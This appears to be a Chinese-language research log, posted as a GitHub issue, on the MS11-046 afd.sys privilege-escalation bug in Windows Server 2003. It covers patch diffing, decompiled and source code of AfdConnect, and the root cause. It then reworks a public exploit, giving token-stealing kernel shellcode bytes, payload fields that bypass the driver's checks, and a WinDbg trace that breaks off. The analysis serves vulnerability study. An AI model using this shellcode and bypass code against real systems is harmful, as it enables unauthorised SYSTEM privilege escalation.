Skip to content

0x00_ms11-046 #94

@xinali

Description

@xinali
作者: xina1i
创建: 2025.11.13
更新: 2025.12.02

--------------------------------------------------------------------
目录:
    ☆ 准备环境
    ☆ 补丁分析
    ☆ 代码分析
        1) 伪码分析
        2) 源码分析
    ☆ exploit分析
        1) shellcode分析
        2) exploit测试
        3) 测试新思路
    ☆ 遇到的问题 
    ☆ 参考
--------------------------------------------------------------------

☆ 准备环境

根据微软公告准备环境

Server 2003 Service Pack 2	    Elevation of Privilege  MS08-066

可以使用如下地址下载:

https://archive.org/details/en_win_srv_2003_r2_standard_with_sp2_cd1_X13-04790

可以使用其中的序列号激活

并且安装其前置patch ms08-066

主机: Windows 11


☆ 补丁分析

先安装ms08-066的补丁(KB956803),作为初始测试环境
再安装补丁:KB2503665,作为修复代码对比

上一次是通过bindiff总结对比内容,依然先用该数据让其帮助梳理出哪些函数被变化:

0.98	0.99	GI--E--	00016185	AfdBind(x,x)	00016185	AfdBind(x,x)	
0.99	0.99	-I-----	00016AFC	AfdConnect(x,x)	00016C43	AfdConnect(x,x)	

可以发现有两个函数发生变化,这次优化一下对比,以前是通过BinDiff的flow图来看,
这次直接将新老版本的代码发给AI来做,最后结果是AfdBind的变化只是做了部分优化。

真正解决问题的在函数AfdConnect(x,x),看看比较结果:

旧版本:
--------------------------------------------------------------------
if ( v24[1] && Irp->RequestorMode == 1 )
{
    if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress )
      *(_DWORD *)AfdUserProbeAddress = 0;
    UserBuffer = v10->UserBuffer;
    *UserBuffer = *UserBuffer;
    UserBuffer[1] = UserBuffer[1];
}
--------------------------------------------------------------------

其中v24是DeviceIOControl中的OutputBufferLength

新版本: 
--------------------------------------------------------------------
UserBuffer = Irp->UserBuffer;
if ( UserBuffer && Irp->RequestorMode == 1 )
{
    if ( (unsigned int)UserBuffer >= AfdUserProbeAddress )
      *(_DWORD *)AfdUserProbeAddress = 0;
    v16 = v14->UserBuffer;
    *v16 = *v16;
    v16[1] = v16[1];
}
--------------------------------------------------------------------


☆ 代码分析

1) 伪码分析

该函数的伪代码如下

--------------------------------------------------------------------
NTSTATUS __fastcall AfdConnect(IRP *a1, IO_STACK_LOCATION *a2)
{
  PIRP v2; // edi
  ULONG Options; // eax
  PIO_SECURITY_CONTEXT SecurityContext; // ecx
  ULONG EaLength; // ecx
  char v6; // cl
  signed int v7; // ebx
  char *PoolWithQuotaTag; // edx
  IO_STACK_LOCATION *v9; // edi
  PIRP v10; // ebx
  _DWORD *p_Type; // ecx
  int v12; // esi
  volatile __int32 *v13; // ecx
  unsigned int v14; // eax
  int v15; // eax
  int v16; // eax
  NTSTATUS v18; // eax
  _DWORD *UserBuffer; // eax
  ULONG v20; // [esp+14h] [ebp-50h]
  PVOID Object; // [esp+1Ch] [ebp-48h] BYREF
  HANDLE Handle; // [esp+20h] [ebp-44h]
  KPROCESSOR_MODE AccessMode[4]; // [esp+24h] [ebp-40h]
  IO_STACK_LOCATION *v24; // [esp+28h] [ebp-3Ch]
  char *v25; // [esp+2Ch] [ebp-38h] BYREF
  _AFD_IRP *v26; // [esp+30h] [ebp-34h] BYREF
  PVOID v27; // [esp+34h] [ebp-30h]
  _AFD_IRP *P; // [esp+38h] [ebp-2Ch]
  PIRP Irp; // [esp+3Ch] [ebp-28h]
  int v30; // [esp+40h] [ebp-24h] BYREF
  int Connection; // [esp+44h] [ebp-20h]
  char v32; // [esp+4Bh] [ebp-19h]
  CPPEH_RECORD ms_exc; // [esp+4Ch] [ebp-18h]

  v24 = a2;
  v2 = a1;
  Irp = a1;
  P = 0;
  Options = a2->Parameters.Create.Options;
  if ( Options < 0x14 )
    goto LABEL_38;
  SecurityContext = a2->Parameters.Create.SecurityContext;
  if ( SecurityContext )
  {
    if ( (unsigned int)SecurityContext < 8 )
      goto LABEL_38;
  }
  Connection = 0;
  ms_exc.registration.TryLevel = 0;
  if ( v2->RequestorMode )
  {
    EaLength = a2->Parameters.Create.EaLength;
    if ( (EaLength & 3) != 0 )
      ExRaiseDatatypeMisalignment();
    if ( EaLength + Options > AfdUserProbeAddress || EaLength + Options < EaLength )
      *(_BYTE *)AfdUserProbeAddress = 0;
  }
  v20 = a2->Parameters.Create.EaLength;
  v6 = *(_BYTE *)v20;
  v32 = *(_BYTE *)v20;
  Handle = *(HANDLE *)(v20 + 8);
  v7 = a2->Parameters.Create.Options - 12;
  ms_exc.registration.TryLevel = -1;
  if ( v7 < 0 )
  {
LABEL_38:
    Connection = -1073741811;
LABEL_50:
    if ( P )
    {
      ExFreePoolWithTag(P, 0xC9646641);
      v2->AssociatedIrp.IrpCount = 0;
    }
    v2->IoStatus.Information = 0;
    v2->IoStatus.Status = Connection;
    IofCompleteRequest(v2, AfdPriorityBoost);
    return Connection;
  }
  if ( !v6 && AfdSanServiceHelper )
  {
    Connection = -1073741574;
    goto LABEL_50;
  }
  ms_exc.registration.TryLevel = 1;
  PoolWithQuotaTag = (char *)ExAllocatePoolWithQuotaTag((POOL_TYPE)16, v7 + 48, 0xC9646641);
  P = (_AFD_IRP *)PoolWithQuotaTag;
  v2->AssociatedIrp.IrpCount = (LONG)PoolWithQuotaTag;
  memset(PoolWithQuotaTag, 0, 0x30u);
  qmemcpy(PoolWithQuotaTag + 48, (const void *)(v20 + 12), v7);
  if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || v7 < *((unsigned __int16 *)PoolWithQuotaTag + 26) + 8 )
    ExRaiseStatus(-1073741811);
  *((_DWORD *)PoolWithQuotaTag + 5) = PoolWithQuotaTag + 48;
  *((_DWORD *)PoolWithQuotaTag + 4) = v7;
  v9 = v24;
  v10 = Irp;
  if ( v24->Parameters.Read.Length && Irp->RequestorMode == 1 )
  {
    if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress ) <---
      *(_DWORD *)AfdUserProbeAddress = 0;
    UserBuffer = v10->UserBuffer;
    *UserBuffer = *UserBuffer;
    UserBuffer[1] = UserBuffer[1];
  }
  ms_exc.registration.TryLevel = -1;
  p_Type = &v9->FileObject->Type;
  v27 = p_Type;
  v12 = p_Type[3];
  if ( *(_WORD *)v12 == 0xAAFD )
  {
    AccessMode[0] = v10->RequestorMode;
    v18 = ObReferenceObjectByHandle(
            Handle,
            (unsigned __int8)HIBYTE(v9->Parameters.Create.FileAttributes) >> 6,
            (POBJECT_TYPE)IoFileObjectType,
            AccessMode[0],
            &Object,
            0);
    v27 = Object;
    Connection = v18;
    if ( v18 < 0 )
    {
LABEL_49:
      v2 = Irp;
      goto LABEL_50;
    }
    if ( *((PVOID *)Object + 1) != AfdDeviceObject )
    {
      Connection = -1073741816;
LABEL_48:
      ObfDereferenceObject(v27);
      goto LABEL_49;
    }
    v12 = *((_DWORD *)Object + 3);
    v9->FileObject = (PFILE_OBJECT)Object;
    v10 = Irp;
  }
  else
  {
    ObfReferenceObject(p_Type);
  }
  if ( *(_WORD *)v12 == 0xAFD1 )
    return AfdDoDatagramConnect((int)v27, v10, 0);
  v13 = (volatile __int32 *)(v12 + 184);
  if ( _InterlockedCompareExchange((volatile signed __int32 *)(v12 + 184), 3, 0) )
  {
    Connection = -1073741811;
    goto LABEL_48;
  }
  if ( *(_WORD *)v12 != 0xAFD0 && *(_WORD *)v12 != 0xAFD2
    || (v14 = *(_DWORD *)(v12 + 12), (v14 & 1) != 0)
    || *(_BYTE *)(v12 + 2) != 2 )
  {
    Connection = -1073741811;
LABEL_47:
    _InterlockedExchange(v13, 0);
    goto LABEL_48;
  }
  Connection = AfdCreateConnection(
                 *(_DWORD *)(v12 + 136),
                 *(_DWORD *)(v12 + 132),
                 (*(_DWORD *)(v12 + 4) & 0x200) != 0,
                 (v14 >> 8) & 1,
                 *(PEPROCESS *)(v12 + 24),
                 (int)&v30);
  if ( Connection < 0 )
  {
    v13 = (volatile __int32 *)(v12 + 184);
    goto LABEL_47;
  }
  _InterlockedExchangeAdd((volatile signed __int32 *)(v12 + 32), 1u);
  *(_DWORD *)(v30 + 8) = v12;
  *(_DWORD *)(v12 + 96) = v30;
  *(_WORD *)v12 = -20526;
  AfdAddConnectedReference(v30);
  v26 = P;
  v25 = (char *)P + 24;
  if ( *(_DWORD *)(v12 + 104) )
    AfdSetupConnectDataBuffers(v12, v30, &v26, &v25);
  AfdEnableFailedConnectEvent(v12);
  _InterlockedExchangeAdd((volatile signed __int32 *)(v30 + 32), 1u);
  v15 = v10->Tail.Overlay.PacketType - 36;
  if ( AfdRestartConnect )
  {
    *(_DWORD *)(v15 + 28) = AfdRestartConnect;
    *(_DWORD *)(v15 + 32) = v30;
    *(_BYTE *)(v15 + 3) = -32;
  }
  else
  {
    *(_DWORD *)(v15 + 28) = 0;
    *(_DWORD *)(v15 + 32) = 0;
    *(_BYTE *)(v15 + 3) = 0;
  }
  v16 = v10->Tail.Overlay.PacketType - 36;
  *(_BYTE *)v16 = 15;
  *(_BYTE *)(v16 + 1) = 3;
  *(_DWORD *)(v16 + 20) = *(_DWORD *)(v30 + 16);
  *(_DWORD *)(v16 + 24) = *(_DWORD *)(v30 + 12);
  *(_DWORD *)(v16 + 8) = v26;
  *(_DWORD *)(v16 + 12) = v25;
  *(_DWORD *)(v16 + 16) = &AfdInfiniteTimeout;
  _InterlockedExchangeAdd((volatile signed __int32 *)(v12 + 128), 1u);
  return IofCallDriver(*(PDEVICE_OBJECT *)(v30 + 16), v10);
}
--------------------------------------------------------------------

涉及到UserBuffer代码写入的相关代码

--------------------------------------------------------------------
if ( v24->Parameters.Read.Length && Irp->RequestorMode == 1 )
  {
    if ( Irp->UserBuffer >= (PVOID)AfdUserProbeAddress ) <---
      *(_DWORD *)AfdUserProbeAddress = 0;
    UserBuffer = v10->UserBuffer;
    *UserBuffer = *UserBuffer;
    UserBuffer[1] = UserBuffer[1];
  }
--------------------------------------------------------------------

上面的代码只是做了简单的写入测试,没有真的写入信息。

那就说明UserBuffer不在该函数中写入,需要继续跟踪,从静态分析来看,
很难跟踪写入,可以通过设置写入断点来确定,这里在调试exploit代码时再来研究。


2) 源码分析

AfdConnect源代码
--------------------------------------------------------------------
NTSTATUS
FASTCALL
AfdConnect (
    IN PIRP Irp,
    IN PIO_STACK_LOCATION IrpSp
    )

/*++

Routine Description:
    Handles the IOCTL_AFD_CONNECT IOCTL.

Arguments:
    Irp - Pointer to I/O request packet.
    IrpSp - pointer to the IO stack location to use for this request.

Return Value:

    NTSTATUS -- Indicates whether the request was successfully queued.

--*/

{
    NTSTATUS status;
    PAFD_ENDPOINT endpoint;
    PAFD_CONNECTION connection;
    PAFD_CONNECT_CONTEXT context;
    HANDLE connectEndpointHandle;
    PFILE_OBJECT fileObject;
    PTRANSPORT_ADDRESS remoteAddress;
    ULONG  remoteAddressLength;
    BOOLEAN sanActive;
    PTDI_CONNECTION_INFORMATION requestConnectionInfo, returnConnectionInfo;

    PAGED_CODE( );

    //
    // Initialize for proper cleanup
    //

    fileObject = NULL;
    context = NULL;

#ifdef _WIN64
    if (IoIs32bitProcess (Irp)) {
        if (IrpSp->Parameters.DeviceIoControl.InputBufferLength<
                    (ULONG)FIELD_OFFSET(AFD_CONNECT_JOIN_INFO32, RemoteAddress.Address[0].Address) ||
                (IrpSp->Parameters.DeviceIoControl.OutputBufferLength!=0
                    && IrpSp->Parameters.DeviceIoControl.OutputBufferLength<
                        sizeof (IO_STATUS_BLOCK32))){
            status = STATUS_INVALID_PARAMETER;
            goto complete;
        }
        AFD_W4_INIT status = STATUS_SUCCESS;
        try {
            if( Irp->RequestorMode != KernelMode ) {

                ProbeForRead(
                    IrpSp->Parameters.DeviceIoControl.Type3InputBuffer,
                    IrpSp->Parameters.DeviceIoControl.InputBufferLength,
                    PROBE_ALIGNMENT32 (AFD_CONNECT_JOIN_INFO32)
                    );

            }

            sanActive = 
                ((PAFD_CONNECT_JOIN_INFO32)\
                IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->SanActive;
            connectEndpointHandle = 
                ((PAFD_CONNECT_JOIN_INFO32)\
                IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->ConnectEndpoint;
            remoteAddress = (PTRANSPORT_ADDRESS)
                &((PAFD_CONNECT_JOIN_INFO32)\
                IrpSp->Parameters.DeviceIoControl.Type3InputBuffer)->RemoteAddress;
            ASSERT (((ULONG_PTR)remoteAddress & (PROBE_ALIGNMENT(TRANSPORT_ADDRESS)-1))==0);
            remoteAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength
                                    - FIELD_OFFSET (AFD_CONNECT_JOIN_INFO32, RemoteAddress);
        }
        except (AFD_EXCEPTION_FILTER (status)) {
            ASSERT (NT_ERROR (status));
            goto complete;
        }
    }
    else 
#endif //_WIN64
    {

        //
        // Determine where in the system buffer the request and return
        // connection information structures exist.  Pass pointers to
        // these locations instead of the user-mode pointers in the
        // tdiRequest structure so that the memory will be nonpageable.
        //

        if (IrpSp->Parameters.DeviceIoControl.InputBufferLength<
                (ULONG)FIELD_OFFSET(AFD_CONNECT_JOIN_INFO, RemoteAddress.Address[0].Address) ||
                (IrpSp->Parameters.DeviceIoControl.OutputBufferLength!=0 &&
                    IrpSp->Parameters.DeviceIoControl.OutputBufferLength <
                        sizeof (IO_STATUS_BLOCK))) {
            status = STATUS_INVALID_PARAMETER;
            goto complete;
        }
        AFD_W4_INIT status = STATUS_SUCCESS;
        try {
            PAFD_CONNECT_JOIN_INFO  connectInfo;

            if( Irp->RequestorMode != KernelMode ) {

                ProbeForRead(
                    IrpSp->Parameters.DeviceIoControl.Type3InputBuffer,
                    IrpSp->Parameters.DeviceIoControl.InputBufferLength,
                    PROBE_ALIGNMENT (AFD_CONNECT_JOIN_INFO)
                    );

            }

            connectInfo = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;

            sanActive = connectInfo->SanActive;
            connectEndpointHandle = connectInfo->ConnectEndpoint;
            remoteAddress = &connectInfo->RemoteAddress;
            remoteAddressLength = IrpSp->Parameters.DeviceIoControl.InputBufferLength
                                    - FIELD_OFFSET (AFD_CONNECT_JOIN_INFO, RemoteAddress);
        }
        except (AFD_EXCEPTION_FILTER (status)) {
            ASSERT (NT_ERROR (status));
            goto complete;
        }
    }

    //
    // Do sanity check on remoteAddressLength to prevent addition overflow below
    //
    if ((LONG)remoteAddressLength < 0) {
        //
        // address length is unreasonably large
        //
        status = STATUS_INVALID_PARAMETER;
        goto complete;
    }

    //
    // Check for if the caller is unaware of the SAN
    // provider activation and report the error.
    //
    if (!sanActive && AfdSanServiceHelper!=NULL) {
        KdPrintEx(( DPFLTR_WSOCKTRANSPORT_ID, DPFLTR_INFO_LEVEL,
                    "AFD: Process %p is being told to enable SAN on connect\n",
                    PsGetCurrentProcessId ()));
        status = STATUS_INVALID_PARAMETER_12;
        goto complete;
    }

    AFD_W4_INIT ASSERT (status == STATUS_SUCCESS);
    try {

        context = AFD_ALLOCATE_POOL_WITH_QUOTA (NonPagedPool,
                            FIELD_OFFSET (AFD_CONNECT_CONTEXT, RemoteAddress)
                                + remoteAddressLength,
                            AFD_TDI_POOL_TAG
                            );
        // AFD_ALLOCATE_POOL_WITH_QUOTA macro sets POOL_RAISE_IF_ALLOCATION_FAILURE flag
        ASSERT (context!=NULL);

        Irp->AssociatedIrp.SystemBuffer = context;
        RtlZeroMemory (context,
              FIELD_OFFSET (AFD_CONNECT_CONTEXT, RemoteAddress));

        RtlCopyMemory (&context->RemoteAddress,
                remoteAddress,
                remoteAddressLength);
        //
        // Validate internal consistency of the transport address structure.
        // Note that we HAVE to do this after copying since the malicious
        // application can change the content of the buffer on us any time
        // and our check will be bypassed.
        //
        if ((context->RemoteAddress.TAAddressCount!=1) ||
                (LONG)remoteAddressLength<
                    FIELD_OFFSET (TRANSPORT_ADDRESS,
                        Address[0].Address[context->RemoteAddress.Address[0].AddressLength])) {
            ExRaiseStatus (STATUS_INVALID_PARAMETER);
        }

        context->RequestConnectionInfo.RemoteAddress = &context->RemoteAddress;
        context->RequestConnectionInfo.RemoteAddressLength = remoteAddressLength;

    
        if (IrpSp->Parameters.DeviceIoControl.OutputBufferLength>0 && 
                Irp->RequestorMode==UserMode) {
            ProbeForWriteIoStatusEx (
                ((PIO_STATUS_BLOCK)Irp->UserBuffer),
                IoIs32bitProcess (Irp));
        }
    }
    except (AFD_EXCEPTION_FILTER(status)) {
        ASSERT (NT_ERROR (status));
        goto complete;
    }

    fileObject = IrpSp->FileObject;
    endpoint = fileObject->FsContext;

    if (endpoint->Type==AfdBlockTypeHelper) {
        //
        // This is async connect which uses helper endpoint to
        // communicate to AFD. Get the real endpoint.
        //
        status = ObReferenceObjectByHandle(
                    connectEndpointHandle,
                    (IrpSp->Parameters.DeviceIoControl.IoControlCode>>14) & 3,
                                                // DesiredAccess
                    *IoFileObjectType,          // ObjectType
                    Irp->RequestorMode,
                    (PVOID *)&fileObject,
                    NULL
                    );
        if (!NT_SUCCESS (status)) {
            goto complete;
        }

        if (fileObject->DeviceObject!=AfdDeviceObject) {
            status = STATUS_INVALID_HANDLE;
            goto complete_deref;
        }
        endpoint = fileObject->FsContext;
        IrpSp->FileObject = fileObject;
    }
    else {
        ObReferenceObject (fileObject);
    }

    IF_DEBUG(CONNECT) {
        KdPrintEx(( DPFLTR_WSOCKTRANSPORT_ID, DPFLTR_TRACE_LEVEL,
                    "AfdConnect: starting connect on endpoint %p\n",
                    endpoint ));
    }

    //
    // If this is a datagram endpoint, simply remember the specified
    // address so that we can use it on sends, receives, writes, and
    // reads.
    //

    if ( IS_DGRAM_ENDPOINT(endpoint) ) {
        return AfdDoDatagramConnect( fileObject, Irp, FALSE );
    }

    if (!AFD_START_STATE_CHANGE (endpoint, AfdEndpointStateConnected)) {
        status = STATUS_INVALID_PARAMETER;
        goto complete_deref;
    }

    if ( endpoint->Type != AfdBlockTypeEndpoint &&
                endpoint->Type != AfdBlockTypeVcConnecting ) {
        status = STATUS_INVALID_PARAMETER;
        goto complete_state_change;
    }

    //
    // If the endpoint is not bound, then this is an invalid request.
    // Listening endpoints are not allowed as well.
    //

    if ( endpoint->Listening ||
            endpoint->State != AfdEndpointStateBound ) {
        status = STATUS_INVALID_PARAMETER;
        goto complete_state_change;
    }

    //
    // Create a connection object to use for the connect operation.
    //

    status = AfdCreateConnection(
                 endpoint->TransportInfo,
                 endpoint->AddressHandle,
                 IS_TDI_BUFFERRING(endpoint),
                 endpoint->InLine,
                 endpoint->OwningProcess,
                 &connection
                 );

    if ( !NT_SUCCESS(status) ) {
        goto complete_state_change;
    }

    //
    // Set up a referenced pointer from the connection to the endpoint.
    // Note that we set up the connection's pointer to the endpoint
    // BEFORE the endpoint's pointer to the connection so that AfdPoll
    // doesn't try to back reference the endpoint from the connection.
    //

    REFERENCE_ENDPOINT( endpoint );
    connection->Endpoint = endpoint;

    //
    // Remember that this is now a connecting type of endpoint, and set
    // up a pointer to the connection in the endpoint.  This is
    // implicitly a referenced pointer.
    //

    endpoint->Common.VcConnecting.Connection = connection;
    endpoint->Type = AfdBlockTypeVcConnecting;

    ASSERT( IS_TDI_BUFFERRING(endpoint) == connection->TdiBufferring );

    //
    // Add an additional reference to the connection.  This prevents the
    // connection from being closed until the disconnect event handler
    // is called.
    //

    AfdAddConnectedReference( connection );

    //
    // If there are connect data buffers, move them from the endpoint
    // structure to the connection structure and set up the necessary
    // pointers in the connection request we're going to give to the TDI
    // provider.  Do this in a subroutine so this routine can be pageable.
    //

    requestConnectionInfo = &context->RequestConnectionInfo;
    returnConnectionInfo = &context->ReturnConnectionInfo;

    if ( endpoint->Common.VirtualCircuit.ConnectDataBuffers != NULL ) {
        AfdSetupConnectDataBuffers(
            endpoint,
            connection,
            &requestConnectionInfo,
            &returnConnectionInfo
            );
    }

    //
    // Since we may be reissuing a connect after a previous failed connect,
    // reenable the failed connect event bit.
    //

    AfdEnableFailedConnectEvent( endpoint );


    //
    // Reference the connection block so it does not go away even if
    // endpoint's reference to it is removed (in cleanup)
    //

    REFERENCE_CONNECTION (connection);

    //
    // Build a TDI kernel-mode connect request in the next stack location
    // of the IRP.
    //

    TdiBuildConnect(
        Irp,
        connection->DeviceObject,
        connection->FileObject,
        AfdRestartConnect,
        connection,
        &AfdInfiniteTimeout,
        requestConnectionInfo,
        returnConnectionInfo
        );



    AFD_VERIFY_ADDRESS (connection, &requestConnectionInfo->RemoteAddress);
    //
    // Call the transport to actually perform the connect operation.
    //

    return AfdIoCallDriver( endpoint, connection->DeviceObject, Irp );

complete_state_change:
    AFD_END_STATE_CHANGE (endpoint);

complete_deref:
    ASSERT (fileObject!=NULL);
    ObDereferenceObject (fileObject);

complete:

    if (context!=NULL) {
        AFD_FREE_POOL (context, AFD_TDI_POOL_TAG);
        ASSERT (Irp->AssociatedIrp.SystemBuffer==context);
        Irp->AssociatedIrp.SystemBuffer = NULL;
    }

    Irp->IoStatus.Information = 0;
    Irp->IoStatus.Status = status;
    IoCompleteRequest( Irp, AfdPriorityBoost );

    return status;

} // AfdConnect
--------------------------------------------------------------------

其中的代码有针对Irp->UserBuffer写入Probe

--------------------------------------------------------------------
if (IrpSp->Parameters.DeviceIoControl.OutputBufferLength>0 && 
                Irp->RequestorMode==UserMode) {
            ProbeForWriteIoStatusEx (
                ((PIO_STATUS_BLOCK)Irp->UserBuffer),
                IoIs32bitProcess (Irp));
        }
--------------------------------------------------------------------

如果OutputBufferLength为0,即可绕过该限制,不会再具体探测传入数据的写入问题

所以直接分析具体哪里写入了Irp->UserBuffer

在AfdConnect函数本身没有写入操作,继续分析

其中最有可能的函数是TdiBuildConnect

--------------------------------------------------------------------
TdiBuildConnect(
        Irp,
        connection->DeviceObject,
        connection->FileObject,
        AfdRestartConnect,
        connection,
        &AfdInfiniteTimeout,
        requestConnectionInfo,
        returnConnectionInfo
        );
--------------------------------------------------------------------

分析发现其是一个宏定义,它的作用是:
当它将连接请求传递给底层的TDI传输驱动后,会设置一个完成例程AfdRestartConnect。
当连接操作完成时,AfdRestartConnect会被调用。

--------------------------------------------------------------------

#define TdiBuildConnect(Irp, DevObj, FileObj, CompRoutine, Contxt, Time, \
        RequestConnectionInfo, ReturnConnectionInfo)\
    {                                                                        \
        PTDI_REQUEST_KERNEL p;                                               \
        PIO_STACK_LOCATION _IRPSP;                                           \
        if ( CompRoutine != NULL) {                                          \
            IoSetCompletionRoutine( Irp, CompRoutine, Contxt, TRUE, TRUE, TRUE);\
        } else {                                                             \
            IoSetCompletionRoutine( Irp, NULL, NULL, FALSE, FALSE, FALSE);   \
        }                                                                    \
        _IRPSP = IoGetNextIrpStackLocation (Irp);                            \
        _IRPSP->MajorFunction = IRP_MJ_INTERNAL_DEVICE_CONTROL;              \
        _IRPSP->MinorFunction = TDI_CONNECT;                                 \
        _IRPSP->DeviceObject = DevObj;                                       \
        _IRPSP->FileObject = FileObj;                                        \
        p = (PTDI_REQUEST_KERNEL)&_IRPSP->Parameters;                        \
        p->RequestConnectionInformation = RequestConnectionInfo;             \
        p->ReturnConnectionInformation = ReturnConnectionInfo;               \
        p->RequestSpecific = (PVOID)Time;                                    \
    }
--------------------------------------------------------------------

继续分析AfdRestartConnect,在AfdRestartConnect中
会分别调用KeInitializeApc和KeInsertQueueApc,
他们会创建一个APC,等在一定情况下执行AfdConnectApcKernelRoutine

--------------------------------------------------------------------
    // Try to queue kernel APC to the user thread that
    // started the connection operation, so we can
    // communicate the status of the connect operation to
    // msafd.dll before we inform the application through
    // the select or EventSelect.  Otherwise, we run into the
    // race condition when application learns about connect first,
    // calls msafd.dll that is not aware of the completion and
    // returns WSAENOTCONN.
    //
    if ((Irp->RequestorMode==UserMode) && // Must be user mode calls
            (Irp->UserBuffer!=NULL) &&   // Must be interested in status
                                         // Thread should be able to 
                                         // run APCs.
            (KeInitializeApc (&endpoint->Common.VcConnecting.Apc,
                            PsGetThreadTcb (Irp->Tail.Overlay.Thread),
                            Irp->ApcEnvironment,
                            AfdConnectApcKernelRoutine,
                            AfdConnectApcRundownRoutine,
                            (PKNORMAL_ROUTINE)NULL,
                            KernelMode,
                            NULL
                            ),
                KeInsertQueueApc (&endpoint->Common.VcConnecting.Apc,
                                    Irp,
                                    NULL,
                                    AfdPriorityBoost))) {
        //
        // We will complete the IRP in the APC.
        //
        return STATUS_MORE_PROCESSING_REQUIRED;
    }
--------------------------------------------------------------------

在函数AfdConnectApcKernelRoutine中会写irp->UserBuffer

--------------------------------------------------------------------
VOID
AfdConnectApcKernelRoutine (
    IN struct _KAPC         *Apc,
    IN OUT PKNORMAL_ROUTINE *NormalRoutine,
    IN OUT PVOID            *NormalContext,
    IN OUT PVOID            *SystemArgument1,
    IN OUT PVOID            *SystemArgument2
    )
{
    PIRP            irp;
    PIO_STACK_LOCATION irpSp;
    PAFD_ENDPOINT   endpoint, rootEndpoint;

    UNREFERENCED_PARAMETER (NormalContext);

    ...

    try {
    ...
        {
            ((PIO_STATUS_BLOCK)irp->UserBuffer)->Status = irp->IoStatus.Status;
        }
    }
--------------------------------------------------------------------

其中写入的转化PIO_STATUS_BLOCK

--------------------------------------------------------------------
typedef struct _IO_STATUS_BLOCK {
    union {
        NTSTATUS Status;
        PVOID Pointer;
    };

    ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
--------------------------------------------------------------------

根据这个结构推测exploit代码应该有问题,应该传入的是HalDispatchTable[1]
分析到这里就分析出具体执行的原理,现在来开始调试exploit代码


☆ exploit分析

从exploit-db上下载的exploit代码如下

具体代码位置:https://www.exploit-db.com/exploits/18755

代码有很多问题,无法直接跑起来,首先来解决其中的问题

1) shellcode分析

其本身提供的shellcode没有任何意义,依然使用ms08-066的shellcode

--------------------------------------------------------------------
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x90,                               // nop
    0x60,                               // pusha
    0x9c,                               // pushf
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, // mov  eax, fs:[124]
    0x8b, 0xb0, 0x18, 0x02, 0x00, 0x00, // mov  esi,DWORD PTR [eax+0x218]
    0x89, 0xf0,                         // mov  eax,esi
    // <search2k3sp1>:
    0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, // mov  eax,DWORD PTR [eax+0x98]
    0x2d, 0x98, 0x00, 0x00, 0x00,       // sub  eax,0x98
    0x8b, 0x90, 0x94, 0x00, 0x00, 0x00, // mov  edx,DWORD PTR [eax+0x94]
    0x83, 0xfa, 0x04,                   // cmp  edx,0x4
    0x75, 0xea,                         // jne  17 <search2k3sp1>
    0x8b, 0x80, 0xd8, 0x00, 0x00, 0x00, // mov  eax,DWORD PTR [eax+0xd8]
    0x89, 0x86, 0xd8, 0x00, 0x00, 0x00, // mov  DWORD PTR [esi+0xd8],eax
    0x9d,                               // popf
    0x61,                               // popa
    0xc2, 0x10, 0x00                    // ret  0x10
--------------------------------------------------------------------


2) exploit测试

原始的exploit会有很多问题,尝试一一解决,主要涉及部分条件绕过

1. 绕过OutputBuffer的检查

--------------------------------------------------------------------
if ( *((_DWORD *)PoolWithQuotaTag + 12) != 1 || 
        v7 < *((unsigned __int16 *)PoolWithQuotaTag + 26) + 8 )
    ExRaiseStatus(0xC000000D);
--------------------------------------------------------------------

绕过方法:

--------------------------------------------------------------------
memset(&payload, 0, sizeof(payload));

payload.SanActive = FALSE;
payload.RootEndpoint = NULL;
payload.ConnectEndpoint = NULL;

// bypass context->RemoteAddress.TAAddressCount != 1
payload.RemoteAddress.TAAddressCount = 1; 

// 关键:绕过长度检查
// RemoteAddressLength 计算基于 InputBufferLength
// 内部 AddressLength 必须匹配
payload.RemoteAddress.Address[0].AddressLength = sizeof(TDI_ADDRESS_IP); // 14
payload.RemoteAddress.Address[0].AddressType = 2; // TDI_ADDRESS_TYPE_IP

// 填充一个有效的 IP 地址,增加成功返回 STATUS_SUCCESS 的几率
payload.RemoteAddress.Address[0].Address.sin_port = htons(135);
payload.RemoteAddress.Address[0].Address.in_addr = inet_addr("127.0.0.1");
--------------------------------------------------------------------


2. 绕过端点类型检查

这个在调试中发现

具体调试过程如下
--------------------------------------------------------------------
0: kd> g
Breakpoint 0 hit
afd!AfdConnect:
ba8c4afc 6a48            push    48h
2: kd> p
afd!AfdConnect+0x2:
ba8c4afe 6828138cba      push    offset afd!ZeroIP6Address+0x70 (ba8c1328)
2: kd> p
afd!AfdConnect+0x7:
ba8c4b03 e838a6ffff      call    afd!_SEH_prolog (ba8bf140)
2: kd> t
afd!_SEH_prolog:
ba8bf140 68eb008cba      push    offset afd!_except_handler3 (ba8c00eb)
2: kd> pt
afd!_SEH_prolog+0x3a:
ba8bf17a c3              ret
2: kd> p
afd!AfdConnect+0xc:
ba8c4b08 8955c4          mov     dword ptr [ebp-3Ch],edx
2: kd> p
afd!AfdConnect+0xf:
ba8c4b0b 8bf9            mov     edi,ecx
2: kd> p
afd!AfdConnect+0x11:
ba8c4b0d 897dd8          mov     dword ptr [ebp-28h],edi
2: kd> p
afd!AfdConnect+0x14:
ba8c4b10 33f6            xor     esi,esi
2: kd> p
afd!AfdConnect+0x16:
ba8c4b12 8975d4          mov     dword ptr [ebp-2Ch],esi
2: kd> p
afd!AfdConnect+0x19:
ba8c4b15 8b4208          mov     eax,dword ptr [edx+8]
2: kd> p
afd!AfdConnect+0x1c:
ba8c4b18 83f814          cmp     eax,14h
2: kd> p
afd!AfdConnect+0x1f:
ba8c4b1b 0f82a9090000    jb      afd!AfdConnect+0x399 (ba8c54ca)
2: kd> p
afd!AfdConnect+0x25:
ba8c4b21 8b4a04          mov     ecx,dword ptr [edx+4]
2: kd> p
afd!AfdConnect+0x28:
ba8c4b24 3bce            cmp     ecx,esi
2: kd> p
afd!AfdConnect+0x2a:
